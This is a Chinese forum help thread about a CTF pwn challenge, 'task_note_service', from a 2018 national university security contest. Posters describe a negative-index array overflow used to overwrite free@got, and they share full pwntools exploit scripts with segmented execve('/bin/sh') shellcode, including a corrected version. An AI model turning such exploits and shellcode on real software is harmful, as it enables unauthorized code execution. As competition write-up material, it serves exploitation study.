首页
社区
课程
招聘
[求助] 全国大学信息安全竞赛---task_note_service
发表于: 2018-5-1 20:26 4726

[求助] 全国大学信息安全竞赛---task_note_service

2018-5-1 20:26
4726

全国大学信息安全竞赛----task_note_service

序言

比赛中这道题差那么一点点就做出来了.

程序运行

1.menu

---------menu---------
1. add note
2. show note
3. edit note
4. del note
5. exit
your choice>>

2. add

1. add note
2. show note
3. edit note
4. del note
5. exit
your choice>> 1
index:0
size:100

3. delete

---------menu---------
1. add note
2. show note
3. edit note
4. del note
5. exit
your choice>> 4
index:0

3. 程序分析

  幸得gd老哥提醒, 发现这个是一个数组越界的漏洞. add的时候, 程序不会检查index的正负, 这就造成数组向前越界的可能性.实际上也是这么利用的.

 

思路: 通过数组越界修改 free@got的值为堆的地址. 堆中有我们构造好的shellcode, 程序就会去执行shellcode. 比较坑的是, 每次我们只能输入8 byte的内容. 下面是两种实现方案:

4. 实现方案

方案一:

通过先执行read系统调用, 然后读取x64版本的shellcode, 执行流跳转至该shellcode, 由于本帖是求助帖, exp就不展开讲了, 可以直接使用(Ubuntu 16.04.4 lts)

#!/usr/bin/env python
'''
by gd大佬
'''
from pwn import *
context.log_level = "debug"
elf = "./task_note_service2"
ENV = {"LD_PRELOAD":"./libc.so.6"}
p = process(elf)
#p = remote("49.4.23.66", 31430)
def add(idx, s):
    p.recvuntil("your choice>> ")
    p.sendline("1")
    p.recvuntil("index:")
    p.sendline(str(idx))
    p.recvuntil("size:")
    p.sendline("8")
    p.recvuntil("content:")
    p.send(s)

def delete(idx):
    p.recvuntil("your choice>> ")
    p.sendline("4")
    p.recvuntil("index:")
    p.sendline(str(idx))

add(-0x11, "\x58\x58\x58\x58\x00\x00\x00")
'''
pop rax
pop rax
pop rax
pop rax
add BYTE PTR [rax], al
'''
add(0x11, "\x48\x89\xfe\x48\xc7\xc7\x00")
'''
mov rsi, rdi
mov rdi, 0x0
'''
add(0x11, "\xB8\x00\x00\x00\x00\x0F\x05")
'''
mov eax, 0
syscall
'''

gdb.attach(p)
delete(0x11)

payload = p8(0)*0x7
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
payload += "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
'''
xor esi, esi
movabs rbx,0x68732f2f6e69622f
push rsi
push rbx
push rsp
push rdi
push 0x3b
pop rax
xor edx, edx
syscall
'''

p.sendline(payload)
p.interactive()

方案二

 思路: 就是利用跳转, 由于只能输入8 byte造成shellcode不能连续, 我就想到了跳转, 每段shellcode结束时, 跳转到下一段shellcode, 跳转位置我们可以通过相对地址来确定. 废了老大的劲儿, 才将shellcode调成每一行最多5 byte

from pwn import *

p = process("./task_note_service2")
#p = remote("117.78.43.127",32059)
context.log_level = 'debug'

def add(index, size, content):
    p.recvuntil("your choice>> ")
    p.sendline("1")
    p.recvuntil("index:")
    p.sendline(str(index))
    p.recvuntil("size:")
    p.sendline(str(size))
    p.recvuntil("content:")

    p.sendline(content)

def delete(index):
    p.recvuntil("your choice>> ")
    p.sendline("4")
    p.recvuntil("index:")
    p.sendline(str(index))

def exit():
    p.recvuntil("your choice>> ")
    p.sendline("5")

offset = 17
add(-17, 8, "\x48\x31\xc0\x50\xeb\x1a") # xor rax, rax push rax
add(0, 8, "\x48\x31\xf6\x53\xeb\x1a") #xor rsi, rsi push rbx
gdb.attach(p)
add(1, 8, "\xbb\x2f\x62\x69\x6e\xeb\x19") #mov rbx, 0x6e69622f
add(2, 8, "\x48\x89\x1c\x24\xeb\x1a") #mov [rsp], rbx
add(3, 8, "\xbb\x2f\x2f\x73\x68\xeb\x19") #mov rbx, 0x68732f2f
add(4, 8, "\x48\x89\x5c\x24\x04\xeb\x19") #mov [rsp+4], rbx
add(5, 8, "\x54\x5f\x5b\x5e\xeb\x1a") #push rsp pop rdi pop rbx pop rsi
add(6, 8, "\xb0\x3b\x0f\x05")     #
delete(2)
#log.info("execve shellcode")
p.interactive()

问题(重点)

问题描述

    我这个exp最后也是能执行syscall, 但是显示无参数. 不能getshell.
问: 为什么不能getshell, 对应的寄存器中参数都正确?

 

有图为证.

 

有问题的EXP的结果图

无问题的EXP的结果图

提前致谢

还望有能力的大佬, 解答一下我的疑惑, 万分感谢.


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-5-1 20:31 被baolongshou编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 1795
活跃值: (63)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
看到你我感到自己的大学真心白学了。。。
2018-5-1 21:08
0
雪    币: 204
活跃值: (911)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
3
/bin//sh  是什么意思???
应该是/bin/sh后边跟个\x00吧。。。
2018-5-1 22:20
0
雪    币: 204
活跃值: (911)
能力值: (RANK:1324 )
在线值:
发帖
回帖
粉丝
4
RDX是第三个参数,应该置为NULL(0)才对
2018-5-1 23:30
0
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
5

同意楼上,edx要清0,lz以后遇到这种问题建议去查查linux的syscall的文档,或者搜一个shellcode看看参数跟他的有没有什么不同,其实比来论坛问效率高多了。
比方说 https://www.exploit-db.com/exploits/36858/

xorl  %edx,  %edx
syscall

很明显syscall之前把edx清0了

最后于 2018-5-1 23:54 被holing编辑 ,原因:
2018-5-1 23:51
0
雪    币: 4975
活跃值: (3858)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
6
thank  all
2018-5-2 07:10
0
雪    币: 4975
活跃值: (3858)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
7

四楼回复正确, 下面给出第二种方案的正解:

from pwn import *

p = process("./task_note_service2")
#p = remote("117.78.43.127",32059)
context.log_level = 'debug'

def add(index, size, content):
    p.recvuntil("your choice>> ")
    p.sendline("1")
    p.recvuntil("index:")
    p.sendline(str(index))
    p.recvuntil("size:")
    p.sendline(str(size))
    p.recvuntil("content:")

    p.sendline(content)

def delete(index):
    p.recvuntil("your choice>> ")
    p.sendline("4")
    p.recvuntil("index:")
    p.sendline(str(index))

def exit():
    p.recvuntil("your choice>> ")
    p.sendline("5")

offset = 17
add(-17, 8, "\x48\x31\xc0\x50\xeb\x1a") # xor rax, rax push rax
add(0, 8, "\x48\x31\xf6\x53\xeb\x1a") #xor rsi, rsi push rbx
add(1, 8, "\xbb\x2f\x62\x69\x6e\xeb\x19") #mov rbx, 0x6e69622f
add(2, 8, "\x48\x89\x1c\x24\xeb\x1a") #mov [rsp], rbx
add(3, 8, "\xbb\x2f\x73\x68\x00\xeb\x19") #mov rbx, 0x68732f2f 
add(4, 8, "\x48\x89\x5c\x24\x04\xeb\x19") #mov [rsp+4], rbx
add(5, 8, "\x54\x5f\x5b\x5e\xeb\x1a") #push rsp pop rdi pop rbx pop rsi
add(6, 8, "\x48\x31\xd2\xb0\x3b\x0f\x05")
'''
sc = """
    xor rdx,rdx
    mov al,0x3b
    syscall
"""
shellcode = asm(sc,arch = "amd64",os = "linux")
add(6, 8, shellcode)     #
gdb.attach(p)


'''
delete(2)
#log.info("execve shellcode")
p.interactive()
2018-5-2 07:12
0
雪    币: 4975
活跃值: (3858)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
8
holing 同意楼上,edx要清0,lz以后遇到这种问题建议去查查linux的syscall的文档,或者搜一个shellcode看看参数跟他的有没有什么不同,其实比来论坛问效率高多了。 比方说 [https: ...
多谢,    谨记
2018-5-2 07:40
0
雪    币: 763
活跃值: (323)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
9
唔,这题直接add(1,8,"/bin/sh")  能省好多步骤啊=、=
2018-5-2 09:31
0
游客
登录 | 注册 方可回帖
返回
//